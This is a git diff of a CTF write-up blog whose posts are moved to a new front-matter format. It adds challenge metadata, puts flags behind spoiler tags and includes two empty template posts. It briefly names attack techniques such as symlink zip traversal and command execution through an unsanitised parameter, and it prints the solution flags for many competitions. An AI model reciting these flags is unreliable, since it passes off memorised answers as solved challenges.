- -**Description**: have you seen Tan challenge before? see maple version pi documentation! +--- +title: Cyberspace2024 | Trendy Windy Trigonity +published: 2024-09-02 +description: have you seen Tan challenge before? see maple version pi documentation! +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: 44 +points: 417 +firstblood: false +category: Cyberspace2024 +draft: false + +--- + + ## Introduction @@ -63,8 +63,4 @@ a, b = vec[0], vec[1] print(f'flag: {(a.to_bytes(19) + b.to_bytes(19)).decode()}') ``` -``` -$ flag: CSCTF{Trigo_453_Tr3ndy_FuN_Th35e_D4Y5} -``` - -

Author: vympel

+flag: :spoiler[CSCTF{Trigo_453_Tr3ndy_FuN_Th35e_D4Y5}] diff --git a/content/writeups/cyberspace2024/trendz.md b/src/content/posts/cyberspace2024-trendz.md similarity index 97% rename from content/writeups/cyberspace2024/trendz.md rename to src/content/posts/cyberspace2024-trendz.md index 6ba674a3..5ba02091 100644 --- a/content/writeups/cyberspace2024/trendz.md +++ b/src/content/posts/cyberspace2024-trendz.md @@ -1,20 +1,19 @@ -+++ -title = 'Trendz' -tags = [ - "Web", - "Jwt secret leak", - "Race condition", - "383 points", - "175 points", - "52 solves", - "86 solves", - "careless_finch", -] -date = 2024-09-02T10:59:04+02:00 -draft = true -+++ - -

Trendz (part 1 & 2)

+--- +title: Cyberspace2024 | Trendz +published: 2024-09-02 +description: The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it. +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 52 +points: 383 +firstblood: false +category: Cyberspace2024 +draft: false + +--- + + ## Preamble @@ -564,16 +563,9 @@ if __name__ == "__main__": main() ``` -```stdout -$ flag 1: CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52} -``` - -```stdout -$ flag 2: CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94} -``` +flag: :spoiler[CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}] +flag: :spoiler[CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}] ##### PS: > In the first flag I skipped a very funny part, in fact it is not enough to log in only as admin because we will not be shown the flag but a post of an ID that if you remember the flag was also in a precise record initialised in run.sh, if through /user/posts/post-id we view the post we can find the flag - -

Author: akiidjk

diff --git a/content/writeups/cyberspace2024/zipzone.md b/src/content/posts/cyberspace2024-zipzone.md similarity index 87% rename from content/writeups/cyberspace2024/zipzone.md rename to src/content/posts/cyberspace2024-zipzone.md index 369b289d..1d3fd25f 100644 --- a/content/writeups/cyberspace2024/zipzone.md +++ b/src/content/posts/cyberspace2024-zipzone.md @@ -1,22 +1,19 @@ -+++ -title = 'ZipZone' -tags = [ - "Web", - "Python", - "Symlink", - "50 points", - "173 solves", - "rex", -] -date = 2024-09-02T10:59:17+02:00 -draft = true -+++ - -

Zipzone

- -**Description**: I was tired of trying to find a good file server for zip files, so I made my own! It's still a work in progress, but I think it's pretty good so far. - -**Link**: +--- +title: Cyberspace2024 | ZipZone +published: 2024-09-02 +description: I was tired of trying to find a good file server for zip files, so I made my own! It's still a work in progress, but I think it's pretty good so far. +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 173 +points: 50 +firstblood: false +category: Cyberspace2024 +draft: false + +--- + + ## Introduction @@ -165,8 +162,4 @@ if __name__ == "__main__": The solutions is very simple, A symlink is simply created pointing to /home/user/flag, it is then zipped and sent to the page, we save the file id and in the path uuid/name_file we send the file pointing to the symlink. -```stdout -$ flag: CSCTF{5yml1nk5_4r3_w31rd} -``` - -

Author: akiidjk

+flag: :spoiler[CSCTF{5yml1nk5_4r3_w31rd}] diff --git a/content/writeups/idekctf2024/hello.md b/src/content/posts/idekctf2024-hello.md similarity index 93% rename from content/writeups/idekctf2024/hello.md rename to src/content/posts/idekctf2024-hello.md index e9000a9f..491a9ebf 100644 --- a/content/writeups/idekctf2024/hello.md +++ b/src/content/posts/idekctf2024-hello.md @@ -1,20 +1,19 @@ -+++ -title = 'Hello' -tags = [ - "Web", - "php", - "XSS", - "133 points", - "165 solves", - "Abdelhameed Ghazy", -] -date = 2024-08-18T12:58:59+02:00 -draft = true -+++ - -

Hello

- -**Description**: Just to warm you up for the next Fight :"D +--- +title: IdekCTF2024 | Hello +published: 2024-08-18 +description: Just to warm you up for the next Fight :"D +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 165 +points: 133 +firstblood: false +category: IdekCTF2024 +draft: false + +--- + + ## Introduction @@ -57,7 +56,7 @@ phpinfo(); ``` -```ngix +```conf # filename: ngix.conf @@ -180,8 +179,4 @@ if __name__ == '__main__': ``` -```stdout -$ flag: idek{Ghazy_N3gm_Elbalad} -``` - -

Author: akiidjk

+flag: :spoiler[idek{Ghazy_N3gm_Elbalad}] diff --git a/content/writeups/ironctf2024/MovieReviewApp.md b/src/content/posts/ironctf2024-MovieReviewApp.md similarity index 88% rename from content/writeups/ironctf2024/MovieReviewApp.md rename to src/content/posts/ironctf2024-MovieReviewApp.md index 7c394891..a95f13a5 100644 --- a/content/writeups/ironctf2024/MovieReviewApp.md +++ b/src/content/posts/ironctf2024-MovieReviewApp.md @@ -1,20 +1,19 @@ -+++ -title = 'MovieReviewApp' -tags = [ - "Web", - "Python", - "Information leak", - "483 points", - "53 solves", - "Vigneswar", -] -date = 2024-10-07T22:50:14+02:00 -draft = true -+++ - -

MovieReviewApp

- -**Description**: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools +--- +title: IronCTF2024 | MovieReviewApp +published: 2024-10-07 +description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 53 +points: 483 +firstblood: false +category: IronCTF2024 +draft: false + +--- + + ## Introduction @@ -151,8 +150,4 @@ if __name__ == "__main__": The solution is very simple, let's log in to the admin panel and then take advantage of the fact that the count parameter is not sanitized to execute a command of our choice and set the flag -```stdout -$ flag: ironCTF{4lways_b3_c4ar3ful_w1th_G1t!} -``` - -

Author: akiidjk

+flag: :spoiler[ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}] diff --git a/content/writeups/ironctf2024/b64siteviewer.md b/src/content/posts/ironctf2024-b64siteviewer.md similarity index 88% rename from content/writeups/ironctf2024/b64siteviewer.md rename to src/content/posts/ironctf2024-b64siteviewer.md index 30638555..8dd2c4f9 100644 --- a/content/writeups/ironctf2024/b64siteviewer.md +++ b/src/content/posts/ironctf2024-b64siteviewer.md @@ -1,20 +1,21 @@ -+++ -title = 'b64SiteViewer' -tags = [ - "Web", - "Python", - "Filter bypass + RCE", - "431 points", - "104 solves", - "4rUN", -] -date = 2024-10-07T22:24:02+02:00 -draft = true -+++ - -

b64SiteViewer

- -**Description**: This is one of the challenges added later, but despite that it wasn't very complex, in fact the most complex part wasn't even the web part, but despite that the challenge was still really nice +--- +title: IronCTF2024 | b64SiteViewer +published: 2024-10-07 +description: This is one of the challenges added later, but despite that it wasn't very complex, in fact the most complex part wasn't even the web part, but despite that the challenge was still really nice +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 104 +points: 431 +firstblood: false +category: IronCTF2024 +draft: false + +--- + + + + ## Introduction @@ -138,8 +139,4 @@ if __name__ == "__main__": ``` -```stdout -$ flag: ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}" -``` - -

Author: akiidjk

+flag: :spoiler[ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}"] diff --git a/content/writeups/ironctf2024/loan_app.md b/src/content/posts/ironctf2024-loan_app.md similarity index 88% rename from content/writeups/ironctf2024/loan_app.md rename to src/content/posts/ironctf2024-loan_app.md index 9772dde8..a8f84fa8 100644 --- a/content/writeups/ironctf2024/loan_app.md +++ b/src/content/posts/ironctf2024-loan_app.md @@ -1,20 +1,19 @@ -+++ -title = 'Loan App' -tags = [ - "Web", - "Python", - "Proxy bypass", - "394 points", - "129 solves", - "Vigneswar", -] -date = 2024-10-06T14:41:13+02:00 -draft = true -+++ - -

Loan app

- -**Description**: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) +--- +title: IronCTF2024 | Loan App +published: 2024-10-06 +description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 129 +points: 394 +firstblood: false +category: IronCTF2024 +draft: false + +--- + + ## Introduction @@ -157,8 +156,4 @@ if __name__ == "__main__": ``` -```stdout -$flag: ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!} -``` - -

Author: akiidjk

+flag: :spoiler[ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!}] diff --git a/content/writeups/ironctf2024/rivest_shamir_adleman_1.md b/src/content/posts/ironctf2024-rivest_shamir_adleman_1.md similarity index 89% rename from content/writeups/ironctf2024/rivest_shamir_adleman_1.md rename to src/content/posts/ironctf2024-rivest_shamir_adleman_1.md index 39ee7f96..8fff6433 100644 --- a/content/writeups/ironctf2024/rivest_shamir_adleman_1.md +++ b/src/content/posts/ironctf2024-rivest_shamir_adleman_1.md @@ -1,18 +1,19 @@ -+++ -title = 'Rivest, Shamir, Adleman 1' -tags = [ - "Crypto", - "476 points", - "62 solves", - "Dope_cat", -] -date = 2024-10-06T13:49:39+02:00 -draft = true -+++ - -

Rivest, Shamir, Adleman 1

- -**Description**: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he's discussing? +--- +title: IronCTF2024 | Rivest, Shamir, Adleman 1 +published: 2024-10-06 +description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he's discussing? +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: 62 +points: 476 +firstblood: false +category: IronCTF2024 +draft: false + +--- + + ## Introduction @@ -106,8 +107,4 @@ for pt in plaintexts: break ``` -``` -$ flag: ironCTF{@Un7_CaN_yoU_53Nd_me_THOS3_3xp@NSIon_5cREws} -``` - -

Author: vympel

+flag: :spoiler[ironCTF{@Un7_CaN_yoU_53Nd_me_THOS3_3xp@NSIon_5cREws}] diff --git a/content/writeups/ironctf2024/rivest_shamir_adleman_2.md b/src/content/posts/ironctf2024-rivest_shamir_adleman_2.md similarity index 79% rename from content/writeups/ironctf2024/rivest_shamir_adleman_2.md rename to src/content/posts/ironctf2024-rivest_shamir_adleman_2.md index 834993ed..41a12b0d 100644 --- a/content/writeups/ironctf2024/rivest_shamir_adleman_2.md +++ b/src/content/posts/ironctf2024-rivest_shamir_adleman_2.md @@ -1,18 +1,19 @@ -+++ -title = 'Rivest, Shamir, Adleman 2' -tags = [ - "Crypto", - "491 points", - "39 solves", - "Dope_cat", -] -date = 2024-10-06T13:49:47+02:00 -draft = true -+++ - -

Rivest, Shamir, Adleman 2

- -**Description**: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. +--- +title: IronCTF2024 | Rivest, Shamir, Adleman 2 +published: 2024-10-06 +description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: 39 +points: 491 +firstblood: false +category: IronCTF2024 +draft: false + +--- + + ## Introduction @@ -38,8 +39,4 @@ for m in GF(N)(c).nth_root(e, all=True): break ``` -``` -$ flag: ironCTF{th15_TIme_You_c4Nt_f!ND_1t_hop3FUl1Y} -``` - -

Author: vympel

+flag: :spoiler[ironCTF{th15_TIme_You_c4Nt_f!ND_1t_hop3FUl1Y}] diff --git a/content/writeups/k1ndasus2025/keyinthehaystack.md b/src/content/posts/k1ndasus2025-keyinthehaystack.md similarity index 86% rename from content/writeups/k1ndasus2025/keyinthehaystack.md rename to src/content/posts/k1ndasus2025-keyinthehaystack.md index 09e7bbe7..8f0408d3 100644 --- a/content/writeups/k1ndasus2025/keyinthehaystack.md +++ b/src/content/posts/k1ndasus2025-keyinthehaystack.md @@ -1,14 +1,17 @@ -+++ -title = 'Key in the haystack' -date = 2025-03-24T16:25:00+01:00 -tags = [ - "crypto", - "428 points", - "17 solves", - "Pietro Lepori" -] -draft = true -+++ +--- +title: K1ndasus2025 | Key in the haystack +published: 2025-03-24 +description: I've encrypted my secret message with RSA. Easy stuff, right? Well, I'm not giving you the key outright... I've hidden it in a haystack! Sure, a key is not a needle, and this haystack is not that big. It shouldn't take more than 10' to find it, if you have an half-decent metal detector. Good luck! +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: 17 +points: 428 +firstblood: false +category: K1ndasus2025 +draft: false + +--- # Confusion I've encrypted my secret message with RSA. @@ -147,7 +150,4 @@ m = pow(ct, d, n) print('flag:', m.to_bytes(-(m.bit_length()//-8)).decode()) ``` -``` -flag: KSUS{6465726976617469766573206172652061206e69636520747269636b} -``` -

Author: vympel

+flag: :spoiler[KSUS{6465726976617469766573206172652061206e69636520747269636b}] diff --git a/content/writeups/l3akctf2025/beneath-the-surface.md b/src/content/posts/l3akctf2025-beneath-the-surface.md similarity index 77% rename from content/writeups/l3akctf2025/beneath-the-surface.md rename to src/content/posts/l3akctf2025-beneath-the-surface.md index c7cd949b..93c8ddbd 100644 --- a/content/writeups/l3akctf2025/beneath-the-surface.md +++ b/src/content/posts/l3akctf2025-beneath-the-surface.md @@ -1,5 +1,17 @@ -# Beneath the Surface -**Description**: On the surface, this signal is nothing but meaningless noise — a mere whisper of the wind. But dive deeper into this transmission, and a storm begins to take shape, with gray skies gathering on the horizon. Can you navigate through the static and uncover what lurks beneath the surface of the wav — before it’s too late? +--- +title: L3akctf 2025 | Beneath the Surface +published: 2025-07-13 +description: On the surface, this signal is nothing but meaningless noise — a mere whisper of the wind. But dive deeper into this transmission, and a storm begins to take shape, with gray skies gathering on the horizon. Can you navigate through the static and uncover what lurks beneath the surface of the wav — before it’s too late? +image: '' +tags: ["hardware"] +authors: ["tatore"] +solves: -1 +points: -1 +firstblood: false +category: L3akctf2025 +draft: false + +--- ## File
-``` -L3AK{R4diOF4X_1S_G00d_4_ImAG3_Tr4nsM1sSiON} -``` -

Author: tatore

+flag: :spoiler[L3AK{R4diOF4X_1S_G00d_4_ImAG3_Tr4nsM1sSiON}] diff --git a/content/writeups/litctf2024/kirbytime.md b/src/content/posts/litctf2024-kirbytime.md similarity index 86% rename from content/writeups/litctf2024/kirbytime.md rename to src/content/posts/litctf2024-kirbytime.md index 2e01755e..e7bc6317 100644 --- a/content/writeups/litctf2024/kirbytime.md +++ b/src/content/posts/litctf2024-kirbytime.md @@ -1,19 +1,21 @@ -+++ -title = 'Kirbytime' -tags = [ - "web", - "python", - "125 points", - "218 solves", - "Stephanie", -] -date = 2024-08-13T13:01:07+02:00 -draft = true -+++ - -

Kirbytime

- -**Description**: Welcome to Kirby's Website. +--- +title: LitCTF2024 | Kirbytime +published: 2024-08-13 +description: Welcome to Kirby's Website. +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 218 +points: 125 +firstblood: false +category: LitCTF2024 +draft: false + +--- + + + + ## Introduction @@ -96,8 +98,4 @@ print("Flag found: ", "LITCTF{" + flag + "}") ``` -```stdout -$ flag: LITCTF{kBySlaY} -``` - -

Author: akiidjk

+flag: :spoiler[LITCTF{kBySlaY}] diff --git a/src/content/posts/m0lecon2025beginner-droidcryptor.md b/src/content/posts/m0lecon2025beginner-droidcryptor.md new file mode 100644 index 00000000..cfa37d4b --- /dev/null +++ b/src/content/posts/m0lecon2025beginner-droidcryptor.md @@ -0,0 +1,47 @@ +--- +title: M0lecon2025beginner | DroidCryptor +published: 2024-12-23 +description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? +image: '' +tags: ["reverse"] +authors: ["akiidjk"] +solves: 25 +points: 144 +firstblood: false +category: M0lecon2025beginner +draft: false + +--- + + + + +## Introduction + +... + +## Source + +... + +```python +# filename: file.py + + + +``` + +... + +## Solution + +... + +```python +# filename: file.py + + + +``` + +flag: :spoiler[flag{redacted}] diff --git a/content/writeups/m0lecon2025beginner/gosecureit.md b/src/content/posts/m0lecon2025beginner-gosecureit.md similarity index 84% rename from content/writeups/m0lecon2025beginner/gosecureit.md rename to src/content/posts/m0lecon2025beginner-gosecureit.md index a9e8cffa..51fa8f51 100644 --- a/content/writeups/m0lecon2025beginner/gosecureit.md +++ b/src/content/posts/m0lecon2025beginner-gosecureit.md @@ -1,22 +1,20 @@ -+++ -title = 'GoSecureIt' -tags = [ - "Web", - "Golang", - "Leaked secret", - "50 points", - "95 solves", - "Schrödy", -] -date = 2024-12-23T16:49:40+01:00 -draft = true -+++ +--- +title: M0lecon2025beginner | GoSecureIt +published: 2024-12-23 +description: I've found this website under construction, at the moment you can only register, but I think there's something strange in the cookie +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 95 +points: 50 +firstblood: false +category: M0lecon2025beginner +draft: false +--- -

GoSecureIt

-**Description**: I've found this website under construction, at the moment you can only register, but I think there's something strange in the cookie ## Introduction @@ -108,7 +106,4 @@ if __name__ == "__main__": # goodluck by @akiidjk ``` -```stdout -$ flag: ptm{Th4t'5_why_1t'5_c4ll3d_53cr3t?} -``` -

Author: akiidjk

+flag: :spoiler[ptm{Th4t'5_why_1t'5_c4ll3d_53cr3t?}] diff --git a/content/writeups/m0lecon2025beginner/imgplace.md b/src/content/posts/m0lecon2025beginner-imgplace.md similarity index 88% rename from content/writeups/m0lecon2025beginner/imgplace.md rename to src/content/posts/m0lecon2025beginner-imgplace.md index 6535d970..4ed107fa 100644 --- a/content/writeups/m0lecon2025beginner/imgplace.md +++ b/src/content/posts/m0lecon2025beginner-imgplace.md @@ -1,20 +1,21 @@ -+++ -title = 'ImgPlace' -tags = [ - "Web", - "Python", - "XSS", - "232 points", - "13 solves", - "dadadani", -] -date = 2024-12-23T16:48:55+01:00 -draft = true -+++ - -

ImgPlace

- -**Description**: Are you a photographer but have no reputation? Join ImgPlace! Share your photos... and become popular! +--- +title: M0lecon2025beginner | ImgPlace +published: 2024-12-23 +description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos... and become popular! +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 13 +points: 232 +firstblood: false +category: M0lecon2025beginner +draft: false + +--- + + + + ## Introduction @@ -149,7 +150,4 @@ if __name__ == "__main__": # goodluck by @akiidjk ``` -```stdout -$ flag: ptm{n3v3r_tRvST_t3g_bL0ckL1sts} -``` -

Author: akiidjk

+flag: :spoiler[ptm{n3v3r_tRvST_t3g_bL0ckL1sts}] diff --git a/src/content/posts/m0lecon2025beginner-lockeddoor.md b/src/content/posts/m0lecon2025beginner-lockeddoor.md new file mode 100644 index 00000000..1ae18fcd --- /dev/null +++ b/src/content/posts/m0lecon2025beginner-lockeddoor.md @@ -0,0 +1,47 @@ +--- +title: M0lecon2025beginner | Locked Door +published: 2024-12-23 +description: In front of you stands a door with a digital terminal. Will you be able to open it? +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 79 +points: 50 +firstblood: false +category: M0lecon2025beginner +draft: true + +--- + + + + +## Introduction + +... + +## Source + +... + +```python +# filename: file.py + + + +``` + +... + +## Solution + +... + +```python +# filename: file.py + + + +``` + +flag: :spoiler[flag{redacted}] diff --git a/content/writeups/m0lecon2025beginner/smallauth.md b/src/content/posts/m0lecon2025beginner-smallauth.md similarity index 93% rename from content/writeups/m0lecon2025beginner/smallauth.md rename to src/content/posts/m0lecon2025beginner-smallauth.md index d2ce8410..d03159b3 100644 --- a/content/writeups/m0lecon2025beginner/smallauth.md +++ b/src/content/posts/m0lecon2025beginner-smallauth.md @@ -1,18 +1,19 @@ -+++ -title = 'SmallAuth' -tags = [ - "Crypto", - "286 points", - "9 solves", - "Rising", -] -date = 2024-12-21T18:23:00+02:00 -draft = true -+++ - -

SmallAuth

- -**Description**: I am trying to authenticate but I totally forgot the password, I am screwed!! +--- +title: M0lecon2025beginner | SmallAuth +published: 2024-12-21 +description: I am trying to authenticate but I totally forgot the password, I am screwed!! +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: 9 +points: 286 +firstblood: false +category: M0lecon2025beginner +draft: false + +--- + + ## Introduction @@ -167,8 +168,4 @@ if __name__ == '__main__': main() ``` -``` -$ flag: ptm{y0u_4r3_a_j3d1_0f_pr0t0c0l5} -``` - -

Author: vympel

+flag: :spoiler[ptm{y0u_4r3_a_j3d1_0f_pr0t0c0l5}] diff --git a/content/writeups/m0lecon2025teaser/yetanotherot.md b/src/content/posts/m0lecon2025teaser-yetanotherot.md similarity index 94% rename from content/writeups/m0lecon2025teaser/yetanotherot.md rename to src/content/posts/m0lecon2025teaser-yetanotherot.md index 726b36ae..b94258c5 100644 --- a/content/writeups/m0lecon2025teaser/yetanotherot.md +++ b/src/content/posts/m0lecon2025teaser-yetanotherot.md @@ -1,18 +1,19 @@ -+++ -title = 'Yet Another OT' -tags = [ - "Crypto", - "127 points", - "29 solves", - "Drago", -] -date = 2024-09-15T10:58:00+02:00 -draft = true -+++ - -

Yet Another OT

- -**Description**: Why do people always want to decrypt both messages? +--- +title: M0lecon2025teaser | Yet Another OT +published: 2024-09-15 +description: Why do people always want to decrypt both messages? +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: 29 +points: 127 +firstblood: false +category: M0lecon2025teaser +draft: false + +--- + + ## Disclaimer @@ -212,8 +213,4 @@ flag = unpad(cipher.decrypt(enc_flag), 16).decode() print('flag:', flag) ``` -``` -$ flag: ptm{t0_b3_0r_n07_t0_b3_4_qu4dr471c_r351du3?} -``` - -

Author: vympel

+flag: :spoiler[ptm{t0_b3_0r_n07_t0_b3_4_qu4dr471c_r351du3?}] diff --git a/content/writeups/noobzctf2024/filesharingportal.md b/src/content/posts/noobzctf2024-filesharingportal.md similarity index 92% rename from content/writeups/noobzctf2024/filesharingportal.md rename to src/content/posts/noobzctf2024-filesharingportal.md index cce08e4c..619a09e3 100644 --- a/content/writeups/noobzctf2024/filesharingportal.md +++ b/src/content/posts/noobzctf2024-filesharingportal.md @@ -1,20 +1,19 @@ -+++ -title = 'File Sharing Portal' -tags = [ - "Web", - "Python", - "Template Injection", - "498 points", - "119 solves", - "NoobMaster + NoobHacker" -] -date = 2024-08-06T11:27:07+02:00 -draft = true -+++ - -

File Sharing Portal

- -**Description**: Welcome to the file sharing portal! We only support tar files! +--- +title: NoobzCTF2024 | File Sharing Portal +published: 2024-08-06 +description: Welcome to the file sharing portal! We only support tar files! +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 119 +points: 498 +firstblood: false +category: NoobzCTF2024 +draft: false + +--- + + ## Introduction @@ -169,8 +168,4 @@ if __name__ == '__main__': ``` -```stdout -$ flag: n00bz{n3v3r_7rus71ng_t4r_4g41n!_b3506983087e} -``` - -

Author: akiidjk

\ No newline at end of file +flag: :spoiler[n00bz{n3v3r_7rus71ng_t4r_4g41n!_b3506983087e}] diff --git a/content/writeups/noobzctf2024/waas.md b/src/content/posts/noobzctf2024-waas.md similarity index 90% rename from content/writeups/noobzctf2024/waas.md rename to src/content/posts/noobzctf2024-waas.md index 07b9730f..a9a05313 100644 --- a/content/writeups/noobzctf2024/waas.md +++ b/src/content/posts/noobzctf2024-waas.md @@ -1,19 +1,21 @@ -+++ -title = 'WaaS' -date = 2024-08-06T11:27:07+02:00 -tags = [ - "Misc", - "Python", - "491 points", - "78 solves", - "NoobMaster + NoobHacker" -] -draft = true -+++ - -

Waas

- -**Description**: Writing as a Service! +--- +title: NoobzCTF2024 | WaaS +published: 2024-08-06 +description: Writing as a Service! +image: '' +tags: ["misc"] +authors: ["akiidjk"] +solves: 78 +points: 491 +firstblood: false +category: NoobzCTF2024 +draft: false + +--- + + + + ## Introduction @@ -88,8 +90,4 @@ if __name__ == '__main__': solve() ``` -``` -$ flag: n00bz{0v3rwr1t1ng_py7h0n3_m0dul3s?!!!_f5c63f47af0e} -``` - -

Author: vympel

+flag: :spoiler[n00bz{0v3rwr1t1ng_py7h0n3_m0dul3s?!!!_f5c63f47af0e}] diff --git a/content/writeups/sekaictf2024/crackme.md b/src/content/posts/sekaictf2024-crackme.md similarity index 95% rename from content/writeups/sekaictf2024/crackme.md rename to src/content/posts/sekaictf2024-crackme.md index 1e047fb5..49a801db 100644 --- a/content/writeups/sekaictf2024/crackme.md +++ b/src/content/posts/sekaictf2024-crackme.md @@ -1,21 +1,19 @@ -+++ -title = 'Crack Me' -tags = [ - "Rev", - "Mobile", - "Javascript/Java", - "Information leaking", - "100", - "187", - "Sahuang", -] -date = 2024-08-26T17:04:19+02:00 -draft = true -+++ - -

Crack Me

- -**Description**: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? +--- +title: SekaiCTF2024 | Crack Me +published: 2024-08-26 +description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? +image: '' +tags: ["rev"] +authors: ["akiidjk"] +solves: 187 +points: 100 +firstblood: false +category: SekaiCTF2024 +draft: false + +--- + + ## Introduction @@ -323,8 +321,4 @@ const email = args[0]; const password = args[1]; ``` -```stdout -$ flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???} -``` - -

Author: akiidjk

+flag: :spoiler[SEKAI{15_React_N@71v3_R3v3rs3_H@RD???}] diff --git a/content/writeups/sekaictf2024/mikuvsmachine.md b/src/content/posts/sekaictf2024-mikuvsmachine.md similarity index 90% rename from content/writeups/sekaictf2024/mikuvsmachine.md rename to src/content/posts/sekaictf2024-mikuvsmachine.md index f51cf7c0..452f9079 100644 --- a/content/writeups/sekaictf2024/mikuvsmachine.md +++ b/src/content/posts/sekaictf2024-mikuvsmachine.md @@ -1,19 +1,19 @@ -+++ -title = 'Miku vs. Machine' -tags = [ - "PPC", - "Python", - "100 points", - "176 solves", - "null_awe", -] -date = 2024-08-26T17:04:29+02:00 -draft = true -+++ - -

Miku vs. Machine

- -**Description**: Time limit is 2 seconds for this challenge. +--- +title: SekaiCTF2024 | Miku vs. Machine +published: 2024-08-26 +description: Time limit is 2 seconds for this challenge. +image: '' +tags: ["ppc"] +authors: ["akiidjk"] +solves: 176 +points: 100 +firstblood: false +category: SekaiCTF2024 +draft: false + +--- + + [**Official resources of challenge**](https://ppc.chals.sekai.team) @@ -136,8 +136,4 @@ for _ in range(T): I don't consider this challenge difficult, it's just a greedy algorithm (it takes a lot more to scare a LeetCode boy), but it wasn't immediately clear that the output didn't necessarily have to be the same as that shown in the challenge's PDF , but it was enough to fit the constraints of the problem. -```stdout -$ flag: SEKAI{t1nyURL_th1s:_6d696b75766d} -``` - -

Author: Tatore

+flag: :spoiler[SEKAI{t1nyURL_th1s:_6d696b75766d}] diff --git a/content/writeups/sekaictf2024/sometrick.md b/src/content/posts/sekaictf2024-sometrick.md similarity index 89% rename from content/writeups/sekaictf2024/sometrick.md rename to src/content/posts/sekaictf2024-sometrick.md index 4a9c01c7..f18a7d96 100644 --- a/content/writeups/sekaictf2024/sometrick.md +++ b/src/content/posts/sekaictf2024-sometrick.md @@ -1,19 +1,19 @@ -+++ -title = 'Some Trick' -date = 2024-08-26T17:04:19+02:00 -tags = [ - "Cryptography", - "Python", - "100 points", - "127 solves", - "deut-erium" -] -draft = true -+++ - -

Some Trick

- -**Description**: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. +--- +title: SekaiCTF2024 | Some Trick +published: 2024-08-26 +description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: 127 +points: 100 +firstblood: false +category: SekaiCTF2024 +draft: false + +--- + + ## Introduction @@ -179,8 +179,4 @@ The recovered key isn't the flag yet, as it went through some transformations fi break ``` -``` -flag: SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1} -``` - -

Author: vympel

+flag: :spoiler[SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}] diff --git a/content/writeups/srdnlen2025/ben10.md b/src/content/posts/srdnlen2025-ben10.md similarity index 92% rename from content/writeups/srdnlen2025/ben10.md rename to src/content/posts/srdnlen2025-ben10.md index 17a79ffe..01f07da7 100644 --- a/content/writeups/srdnlen2025/ben10.md +++ b/src/content/posts/srdnlen2025-ben10.md @@ -1,20 +1,17 @@ -+++ -title = 'Ben 10' -tags = [ - "Web", - "Python", - "Business logic vulnerability", - "gheddus", -] -date = 2025-03-11T16:52:02+01:00 -draft = true -+++ - - - -

Ben 10

- -**Description**: Ben Tennyson's Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It's hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. +--- +title: Srdnlen2025 | Ben 10 +published: 2025-03-11 +description: Ben Tennyson's Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It's hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: -1 +points: -1 +firstblood: false +category: Srdnlen2025 +draft: false + +--- Can you outsmart the system and reveal the flag? @@ -239,5 +236,3 @@ if __name__ == "__main__": # goodluck by @akiidjk ``` - -

Author: akiidjk

